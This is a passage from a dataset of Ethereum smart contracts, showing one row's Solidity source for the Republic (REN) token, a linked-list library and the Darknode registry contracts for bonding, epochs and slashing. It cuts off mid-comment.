Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
59,100
0x9636f9ac371ca0965b7c2b4ad13c4cc64d0ff2dc
pragma solidity 0.4.24; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * See https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint256 _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint256 _subtractedValue ) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } /** * @title Pausable token * @dev StandardToken modified with pausable transfers. **/ contract PausableToken is StandardToken, Pausable { function transfer( address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transfer(_to, _value); } function transferFrom( address _from, address _to, uint256 _value ) public whenNotPaused returns (bool) { return super.transferFrom(_from, _to, _value); } function approve( address _spender, uint256 _value ) public whenNotPaused returns (bool) { return super.approve(_spender, _value); } function increaseApproval( address _spender, uint _addedValue ) public whenNotPaused returns (bool success) { return super.increaseApproval(_spender, _addedValue); } function decreaseApproval( address _spender, uint _subtractedValue ) public whenNotPaused returns (bool success) { return super.decreaseApproval(_spender, _subtractedValue); } } /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { _burn(msg.sender, _value); } function _burn(address _who, uint256 _value) internal { require(_value <= balances[_who]); // no need to require value <= totalSupply, since that would imply the // sender's balance is greater than the totalSupply, which *should* be an assertion failure balances[_who] = balances[_who].sub(_value); totalSupply_ = totalSupply_.sub(_value); emit Burn(_who, _value); emit Transfer(_who, address(0), _value); } } contract RepublicToken is PausableToken, BurnableToken { string public constant name = "Republic Token"; string public constant symbol = "REN"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 1000000000 * 10**uint256(decimals); /// @notice The RepublicToken Constructor. constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } function transferTokens(address beneficiary, uint256 amount) public onlyOwner returns (bool) { /* solium-disable error-reason */ require(amount > 0); balances[owner] = balances[owner].sub(amount); balances[beneficiary] = balances[beneficiary].add(amount); emit Transfer(owner, beneficiary, amount); return true; } } /** * @notice LinkedList is a library for a circular double linked list. */ library LinkedList { /* * @notice A permanent NULL node (0x0) in the circular double linked list. * NULL.next is the head, and NULL.previous is the tail. */ address public constant NULL = 0x0; /** * @notice A node points to the node before it, and the node after it. If * node.previous = NULL, then the node is the head of the list. If * node.next = NULL, then the node is the tail of the list. */ struct Node { bool inList; address previous; address next; } /** * @notice LinkedList uses a mapping from address to nodes. Each address * uniquely identifies a node, and in this way they are used like pointers. */ struct List { mapping (address => Node) list; } /** * @notice Insert a new node before an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert before the target. */ function insertBefore(List storage self, address target, address newNode) internal { require(!isInList(self, newNode), "already in list"); require(isInList(self, target) || target == NULL, "not in list"); // It is expected that this value is sometimes NULL. address prev = self.list[target].previous; self.list[newNode].next = target; self.list[newNode].previous = prev; self.list[target].previous = newNode; self.list[prev].next = newNode; self.list[newNode].inList = true; } /** * @notice Insert a new node after an existing node. * * @param self The list being used. * @param target The existing node in the list. * @param newNode The next node to insert after the target. */ function insertAfter(List storage self, address target, address newNode) internal { require(!isInList(self, newNode), "already in list"); require(isInList(self, target) || target == NULL, "not in list"); // It is expected that this value is sometimes NULL. address n = self.list[target].next; self.list[newNode].previous = target; self.list[newNode].next = n; self.list[target].next = newNode; self.list[n].previous = newNode; self.list[newNode].inList = true; } /** * @notice Remove a node from the list, and fix the previous and next * pointers that are pointing to the removed node. Removing anode that is not * in the list will do nothing. * * @param self The list being using. * @param node The node in the list to be removed. */ function remove(List storage self, address node) internal { require(isInList(self, node), "not in list"); if (node == NULL) { return; } address p = self.list[node].previous; address n = self.list[node].next; self.list[p].next = n; self.list[n].previous = p; // Deleting the node should set this value to false, but we set it here for // explicitness. self.list[node].inList = false; delete self.list[node]; } /** * @notice Insert a node at the beginning of the list. * * @param self The list being used. * @param node The node to insert at the beginning of the list. */ function prepend(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertBefore(self, begin(self), node); } /** * @notice Insert a node at the end of the list. * * @param self The list being used. * @param node The node to insert at the end of the list. */ function append(List storage self, address node) internal { // isInList(node) is checked in insertBefore insertAfter(self, end(self), node); } function swap(List storage self, address left, address right) internal { // isInList(left) and isInList(right) are checked in remove address previousRight = self.list[right].previous; remove(self, right); insertAfter(self, left, right); remove(self, left); insertAfter(self, previousRight, left); } function isInList(List storage self, address node) internal view returns (bool) { return self.list[node].inList; } /** * @notice Get the node at the beginning of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the beginning of the double * linked list. */ function begin(List storage self) internal view returns (address) { return self.list[NULL].next; } /** * @notice Get the node at the end of a double linked list. * * @param self The list being used. * * @return A address identifying the node at the end of the double linked * list. */ function end(List storage self) internal view returns (address) { return self.list[NULL].previous; } function next(List storage self, address node) internal view returns (address) { require(isInList(self, node), "not in list"); return self.list[node].next; } function previous(List storage self, address node) internal view returns (address) { require(isInList(self, node), "not in list"); return self.list[node].previous; } } /// @notice This contract stores data and funds for the DarknodeRegistry /// contract. The data / fund logic and storage have been separated to improve /// upgradability. contract DarknodeRegistryStore is Ownable { string public VERSION; // Passed in as a constructor parameter. /// @notice Darknodes are stored in the darknode struct. The owner is the /// address that registered the darknode, the bond is the amount of REN that /// was transferred during registration, and the public key is the /// encryption key that should be used when sending sensitive information to /// the darknode. struct Darknode { // The owner of a Darknode is the address that called the register // function. The owner is the only address that is allowed to // deregister the Darknode, unless the Darknode is slashed for // malicious behavior. address owner; // The bond is the amount of REN submitted as a bond by the Darknode. // This amount is reduced when the Darknode is slashed for malicious // behavior. uint256 bond; // The block number at which the Darknode is considered registered. uint256 registeredAt; // The block number at which the Darknode is considered deregistered. uint256 deregisteredAt; // The public key used by this Darknode for encrypting sensitive data // off chain. It is assumed that the Darknode has access to the // respective private key, and that there is an agreement on the format // of the public key. bytes publicKey; } /// Registry data. mapping(address => Darknode) private darknodeRegistry; LinkedList.List private darknodes; // RepublicToken. RepublicToken public ren; /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _ren The address of the RepublicToken contract. constructor( string _VERSION, RepublicToken _ren ) public { VERSION = _VERSION; ren = _ren; } /// @notice Instantiates a darknode and appends it to the darknodes /// linked-list. /// /// @param _darknodeID The darknode's ID. /// @param _darknodeOwner The darknode's owner's address /// @param _bond The darknode's bond value /// @param _publicKey The darknode's public key /// @param _registeredAt The time stamp when the darknode is registered. /// @param _deregisteredAt The time stamp when the darknode is deregistered. function appendDarknode( address _darknodeID, address _darknodeOwner, uint256 _bond, bytes _publicKey, uint256 _registeredAt, uint256 _deregisteredAt ) external onlyOwner { Darknode memory darknode = Darknode({ owner: _darknodeOwner, bond: _bond, publicKey: _publicKey, registeredAt: _registeredAt, deregisteredAt: _deregisteredAt }); darknodeRegistry[_darknodeID] = darknode; LinkedList.append(darknodes, _darknodeID); } /// @notice Returns the address of the first darknode in the store function begin() external view onlyOwner returns(address) { return LinkedList.begin(darknodes); } /// @notice Returns the address of the next darknode in the store after the /// given address. function next(address darknodeID) external view onlyOwner returns(address) { return LinkedList.next(darknodes, darknodeID); } /// @notice Removes a darknode from the store and transfers its bond to the /// owner of this contract. function removeDarknode(address darknodeID) external onlyOwner { uint256 bond = darknodeRegistry[darknodeID].bond; delete darknodeRegistry[darknodeID]; LinkedList.remove(darknodes, darknodeID); require(ren.transfer(owner, bond), "bond transfer failed"); } /// @notice Updates the bond of the darknode. If the bond is being /// decreased, the difference is sent to the owner of this contract. function updateDarknodeBond(address darknodeID, uint256 bond) external onlyOwner { uint256 previousBond = darknodeRegistry[darknodeID].bond; darknodeRegistry[darknodeID].bond = bond; if (previousBond > bond) { require(ren.transfer(owner, previousBond - bond), "cannot transfer bond"); } } /// @notice Updates the deregistration timestamp of a darknode. function updateDarknodeDeregisteredAt(address darknodeID, uint256 deregisteredAt) external onlyOwner { darknodeRegistry[darknodeID].deregisteredAt = deregisteredAt; } /// @notice Returns the owner of a given darknode. function darknodeOwner(address darknodeID) external view onlyOwner returns (address) { return darknodeRegistry[darknodeID].owner; } /// @notice Returns the bond of a given darknode. function darknodeBond(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].bond; } /// @notice Returns the registration time of a given darknode. function darknodeRegisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].registeredAt; } /// @notice Returns the deregistration time of a given darknode. function darknodeDeregisteredAt(address darknodeID) external view onlyOwner returns (uint256) { return darknodeRegistry[darknodeID].deregisteredAt; } /// @notice Returns the encryption public key of a given darknode. function darknodePublicKey(address darknodeID) external view onlyOwner returns (bytes) { return darknodeRegistry[darknodeID].publicKey; } } /// @notice DarknodeRegistry is responsible for the registration and /// deregistration of Darknodes. contract DarknodeRegistry is Ownable { string public VERSION; // Passed in as a constructor parameter. /// @notice Darknode pods are shuffled after a fixed number of blocks. /// An Epoch stores an epoch hash used as an (insecure) RNG seed, and the /// blocknumber which restricts when the next epoch can be called. struct Epoch { uint256 epochhash; uint256 blocknumber; } uint256 public numDarknodes; uint256 public numDarknodesNextEpoch; uint256 public numDarknodesPreviousEpoch; /// Variables used to parameterize behavior. uint256 public minimumBond; uint256 public minimumPodSize; uint256 public minimumEpochInterval; address public slasher; /// When one of the above variables is modified, it is only updated when the /// next epoch is called. These variables store the values for the next epoch. uint256 public nextMinimumBond; uint256 public nextMinimumPodSize; uint256 public nextMinimumEpochInterval; address public nextSlasher; /// The current and previous epoch Epoch public currentEpoch; Epoch public previousEpoch; /// Republic ERC20 token contract used to transfer bonds. RepublicToken public ren; /// Darknode Registry Store is the storage contract for darknodes. DarknodeRegistryStore public store; /// @notice Emitted when a darknode is registered. /// @param _darknodeID The darknode ID that was registered. /// @param _bond The amount of REN that was transferred as bond. event LogDarknodeRegistered(address _darknodeID, uint256 _bond); /// @notice Emitted when a darknode is deregistered. /// @param _darknodeID The darknode ID that was deregistered. event LogDarknodeDeregistered(address _darknodeID); /// @notice Emitted when a refund has been made. /// @param _owner The address that was refunded. /// @param _amount The amount of REN that was refunded. event LogDarknodeOwnerRefunded(address _owner, uint256 _amount); /// @notice Emitted when a new epoch has begun. event LogNewEpoch(); /// @notice Emitted when a constructor parameter has been updated. event LogMinimumBondUpdated(uint256 previousMinimumBond, uint256 nextMinimumBond); event LogMinimumPodSizeUpdated(uint256 previousMinimumPodSize, uint256 nextMinimumPodSize); event LogMinimumEpochIntervalUpdated(uint256 previousMinimumEpochInterval, uint256 nextMinimumEpochInterval); event LogSlasherUpdated(address previousSlasher, address nextSlasher); /// @notice Only allow the owner that registered the darknode to pass. modifier onlyDarknodeOwner(address _darknodeID) { require(store.darknodeOwner(_darknodeID) == msg.sender, "must be darknode owner"); _; } /// @notice Only allow unregistered darknodes. modifier onlyRefunded(address _darknodeID) { require(isRefunded(_darknodeID), "must be refunded or never registered"); _; } /// @notice Only allow refundable darknodes. modifier onlyRefundable(address _darknodeID) { require(isRefundable(_darknodeID), "must be deregistered for at least one epoch"); _; } /// @notice Only allowed registered nodes without a pending deregistration to /// deregister modifier onlyDeregisterable(address _darknodeID) { require(isDeregisterable(_darknodeID), "must be deregisterable"); _; } /// @notice Only allow the Slasher contract. modifier onlySlasher() { require(slasher == msg.sender, "must be slasher"); _; } /// @notice The contract constructor. /// /// @param _VERSION A string defining the contract version. /// @param _renAddress The address of the RepublicToken contract. /// @param _storeAddress The address of the DarknodeRegistryStore contract. /// @param _minimumBond The minimum bond amount that can be submitted by a /// Darknode. /// @param _minimumPodSize The minimum size of a Darknode pod. /// @param _minimumEpochInterval The minimum number of blocks between /// epochs. constructor( string _VERSION, RepublicToken _renAddress, DarknodeRegistryStore _storeAddress, uint256 _minimumBond, uint256 _minimumPodSize, uint256 _minimumEpochInterval ) public { VERSION = _VERSION; store = _storeAddress; ren = _renAddress; minimumBond = _minimumBond; nextMinimumBond = minimumBond; minimumPodSize = _minimumPodSize; nextMinimumPodSize = minimumPodSize; minimumEpochInterval = _minimumEpochInterval; nextMinimumEpochInterval = minimumEpochInterval; currentEpoch = Epoch({ epochhash: uint256(blockhash(block.number - 1)), blocknumber: block.number }); numDarknodes = 0; numDarknodesNextEpoch = 0; numDarknodesPreviousEpoch = 0; } /// @notice Register a darknode and transfer the bond to this contract. The /// caller must provide a public encryption key for the darknode as well as /// a bond in REN. The bond must be provided as an ERC20 allowance. The dark /// node will remain pending registration until the next epoch. Only after /// this period can the darknode be deregistered. The caller of this method /// will be stored as the owner of the darknode. /// /// @param _darknodeID The darknode ID that will be registered. /// @param _publicKey The public key of the darknode. It is stored to allow /// other darknodes and traders to encrypt messages to the trader. /// @param _bond The bond that will be paid. It must be greater than, or /// equal to, the minimum bond. function register(address _darknodeID, bytes _publicKey, uint256 _bond) external onlyRefunded(_darknodeID) { // REN allowance require(_bond >= minimumBond, "insufficient bond"); // require(ren.allowance(msg.sender, address(this)) >= _bond); require(ren.transferFrom(msg.sender, address(this), _bond), "bond transfer failed"); ren.transfer(address(store), _bond); // Flag this darknode for registration store.appendDarknode( _darknodeID, msg.sender, _bond, _publicKey, currentEpoch.blocknumber + minimumEpochInterval, 0 ); numDarknodesNextEpoch += 1; // Emit an event. emit LogDarknodeRegistered(_darknodeID, _bond); } /// @notice Deregister a darknode. The darknode will not be deregistered /// until the end of the epoch. After another epoch, the bond can be /// refunded by calling the refund method. /// @param _darknodeID The darknode ID that will be deregistered. The caller /// of this method store.darknodeRegisteredAt(_darknodeID) must be // the owner of this darknode. function deregister(address _darknodeID) external onlyDeregisterable(_darknodeID) onlyDarknodeOwner(_darknodeID) { // Flag the darknode for deregistration store.updateDarknodeDeregisteredAt(_darknodeID, currentEpoch.blocknumber + minimumEpochInterval); numDarknodesNextEpoch -= 1; // Emit an event emit LogDarknodeDeregistered(_darknodeID); } /// @notice Progress the epoch if it is possible to do so. This captures /// the current timestamp and current blockhash and overrides the current /// epoch. function epoch() external { if (previousEpoch.blocknumber == 0) { // The first epoch must be called by the owner of the contract require(msg.sender == owner, "not authorized (first epochs)"); } // Require that the epoch interval has passed require(block.number >= currentEpoch.blocknumber + minimumEpochInterval, "epoch interval has not passed"); uint256 epochhash = uint256(blockhash(block.number - 1)); // Update the epoch hash and timestamp previousEpoch = currentEpoch; currentEpoch = Epoch({ epochhash: epochhash, blocknumber: block.number }); // Update the registry information numDarknodesPreviousEpoch = numDarknodes; numDarknodes = numDarknodesNextEpoch; // If any update functions have been called, update the values now if (nextMinimumBond != minimumBond) { minimumBond = nextMinimumBond; emit LogMinimumBondUpdated(minimumBond, nextMinimumBond); } if (nextMinimumPodSize != minimumPodSize) { minimumPodSize = nextMinimumPodSize; emit LogMinimumPodSizeUpdated(minimumPodSize, nextMinimumPodSize); } if (nextMinimumEpochInterval != minimumEpochInterval) { minimumEpochInterval = nextMinimumEpochInterval; emit LogMinimumEpochIntervalUpdated(minimumEpochInterval, nextMinimumEpochInterval); } if (nextSlasher != slasher) { slasher = nextSlasher; emit LogSlasherUpdated(slasher, nextSlasher); } // Emit an event emit LogNewEpoch(); } /// @notice Allows the contract owner to transfer ownership of the /// DarknodeRegistryStore. /// @param _newOwner The address to transfer the ownership to. function transferStoreOwnership(address _newOwner) external onlyOwner { store.transferOwnership(_newOwner); } /// @notice Allows the contract owner to update the minimum bond. /// @param _nextMinimumBond The minimum bond amount that can be submitted by /// a darknode. function updateMinimumBond(uint256 _nextMinimumBond) external onlyOwner { // Will be updated next epoch nextMinimumBond = _nextMinimumBond; } /// @notice Allows the contract owner to update the minimum pod size. /// @param _nextMinimumPodSize The minimum size of a pod. function updateMinimumPodSize(uint256 _nextMinimumPodSize) external onlyOwner { // Will be updated next epoch nextMinimumPodSize = _nextMinimumPodSize; } /// @notice Allows the contract owner to update the minimum epoch interval. /// @param _nextMinimumEpochInterval The minimum number of blocks between epochs. function updateMinimumEpochInterval(uint256 _nextMinimumEpochInterval) external onlyOwner { // Will be updated next epoch nextMinimumEpochInterval = _nextMinimumEpochInterval; } /// @notice Allow the contract owner to update the DarknodeSlasher contract /// address. /// @param _slasher The new slasher address. function updateSlasher(address _slasher) external onlyOwner { nextSlasher = _slasher; } /// @notice Allow the DarknodeSlasher contract to slash half of a darknode's /// bond and deregister it. The bond is distributed as follows: /// 1/2 is kept by the guilty prover /// 1/8 is rewarded to the first challenger /// 1/8 is rewarded to the second challenger /// 1/4 becomes unassigned /// @param _prover The guilty prover whose bond is being slashed /// @param _challenger1 The first of the two darknodes who submitted the challenge /// @param _challenger2 The second of the two darknodes who submitted the challenge function slash(address _prover, address _challenger1, address _challenger2) external onlySlasher { uint256 penalty = store.darknodeBond(_prover) / 2; uint256 reward = penalty / 4; // Slash the bond of the failed prover in half store.updateDarknodeBond(_prover, penalty); // If the darknode has not been deregistered then deregister it if (isDeregisterable(_prover)) { store.updateDarknodeDeregisteredAt(_prover, currentEpoch.blocknumber + minimumEpochInterval); numDarknodesNextEpoch -= 1; emit LogDarknodeDeregistered(_prover); } // Reward the challengers with less than the penalty so that it is not // worth challenging yourself ren.transfer(store.darknodeOwner(_challenger1), reward); ren.transfer(store.darknodeOwner(_challenger2), reward); } /// @notice Refund the bond of a deregistered darknode. This will make the /// darknode available for registration again. Anyone can call this function /// but the bond will always be refunded to the darknode owner. /// /// @param _darknodeID The darknode ID that will be refunded. The caller /// of this method must be the owner of this darknode. function refund(address _darknodeID) external onlyRefundable(_darknodeID) { address darknodeOwner = store.darknodeOwner(_darknodeID); // Remember the bond amount uint256 amount = store.darknodeBond(_darknodeID); // Erase the darknode from the registry store.removeDarknode(_darknodeID); // Refund the owner by transferring REN ren.transfer(darknodeOwner, amount); // Emit an event. emit LogDarknodeOwnerRefunded(darknodeOwner, amount); } /// @notice Retrieves the address of the account that registered a darknode. /// @param _darknodeID The ID of the darknode to retrieve the owner for. function getDarknodeOwner(address _darknodeID) external view returns (address) { return store.darknodeOwner(_darknodeID); } /// @notice Retrieves the bond amount of a darknode in 10^-18 REN. /// @param _darknodeID The ID of the darknode to retrieve the bond for. function getDarknodeBond(address _darknodeID) external view returns (uint256) { return store.darknodeBond(_darknodeID); } /// @notice Retrieves the encryption public key of the darknode. /// @param _darknodeID The ID of the darknode to retrieve the public key for. function getDarknodePublicKey(address _darknodeID) external view returns (bytes) { return store.darknodePublicKey(_darknodeID); } /// @notice Retrieves a list of darknodes which are registered for the /// current epoch. /// @param _start A darknode ID used as an offset for the list. If _start is /// 0x0, the first dark node will be used. _start won't be /// included it is not registered for the epoch. /// @param _count The number of darknodes to retrieve starting from _start. /// If _count is 0, all of the darknodes from _start are /// retrieved. If _count is more than the remaining number of /// registered darknodes, the rest of the list will contain /// 0x0s. function getDarknodes(address _start, uint256 _count) external view returns (address[]) { uint256 count = _count; if (count == 0) { count = numDarknodes; } return getDarknodesFromEpochs(_start, count, false); } /// @notice Retrieves a list of darknodes which were registered for the /// previous epoch. See `getDarknodes` for the parameter documentation. function getPreviousDarknodes(address _start, uint256 _count) external view returns (address[]) { uint256 count = _count; if (count == 0) { count = numDarknodesPreviousEpoch; } return getDarknodesFromEpochs(_start, count, true); } /// @notice Returns whether a darknode is scheduled to become registered /// at next epoch. /// @param _darknodeID The ID of the darknode to return function isPendingRegistration(address _darknodeID) external view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); return registeredAt != 0 && registeredAt > currentEpoch.blocknumber; } /// @notice Returns if a darknode is in the pending deregistered state. In /// this state a darknode is still considered registered. function isPendingDeregistration(address _darknodeID) external view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt > currentEpoch.blocknumber; } /// @notice Returns if a darknode is in the deregistered state. function isDeregistered(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return deregisteredAt != 0 && deregisteredAt <= currentEpoch.blocknumber; } /// @notice Returns if a darknode can be deregistered. This is true if the /// darknodes is in the registered state and has not attempted to /// deregister yet. function isDeregisterable(address _darknodeID) public view returns (bool) { uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); // The Darknode is currently in the registered state and has not been // transitioned to the pending deregistration, or deregistered, state return isRegistered(_darknodeID) && deregisteredAt == 0; } /// @notice Returns if a darknode is in the refunded state. This is true /// for darknodes that have never been registered, or darknodes that have /// been deregistered and refunded. function isRefunded(address _darknodeID) public view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); return registeredAt == 0 && deregisteredAt == 0; } /// @notice Returns if a darknode is refundable. This is true for darknodes /// that have been in the deregistered state for one full epoch. function isRefundable(address _darknodeID) public view returns (bool) { return isDeregistered(_darknodeID) && store.darknodeDeregisteredAt(_darknodeID) <= previousEpoch.blocknumber; } /// @notice Returns if a darknode is in the registered state. function isRegistered(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, currentEpoch); } /// @notice Returns if a darknode was in the registered state last epoch. function isRegisteredInPreviousEpoch(address _darknodeID) public view returns (bool) { return isRegisteredInEpoch(_darknodeID, previousEpoch); } /// @notice Returns if a darknode was in the registered state for a given /// epoch. /// @param _darknodeID The ID of the darknode /// @param _epoch One of currentEpoch, previousEpoch function isRegisteredInEpoch(address _darknodeID, Epoch _epoch) private view returns (bool) { uint256 registeredAt = store.darknodeRegisteredAt(_darknodeID); uint256 deregisteredAt = store.darknodeDeregisteredAt(_darknodeID); bool registered = registeredAt != 0 && registeredAt <= _epoch.blocknumber; bool notDeregistered = deregisteredAt == 0 || deregisteredAt > _epoch.blocknumber; // The Darknode has been registered and has not yet been deregistered, // although it might be pending deregistration return registered && notDeregistered; } /// @notice Returns a list of darknodes registered for either the current /// or the previous epoch. See `getDarknodes` for documentation on the /// parameters `_start` and `_count`. /// @param _usePreviousEpoch If true, use the previous epoch, otherwise use /// the current epoch. function getDarknodesFromEpochs(address _start, uint256 _count, bool _usePreviousEpoch) private view returns (address[]) { uint256 count = _count; if (count == 0) { count = numDarknodes; } address[] memory nodes = new address[](count); // Begin with the first node in the list uint256 n = 0; address next = _start; if (next == 0x0) { next = store.begin(); } // Iterate until all registered Darknodes have been collected while (n < count) { if (next == 0x0) { break; } // Only include Darknodes that are currently registered bool includeNext; if (_usePreviousEpoch) { includeNext = isRegisteredInPreviousEpoch(next); } else { includeNext = isRegistered(next); } if (!includeNext) { next = store.next(next); continue; } nodes[n] = next; next = store.next(next); n += 1; } return nodes; } } /** * @title Math * @dev Assorted math operations */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /// @notice Implements safeTransfer, safeTransferFrom and /// safeApprove for CompatibleERC20. /// /// See https://github.com/ethereum/solidity/issues/4116 /// /// This library allows interacting with ERC20 tokens that implement any of /// these interfaces: /// /// (1) transfer returns true on success, false on failure /// (2) 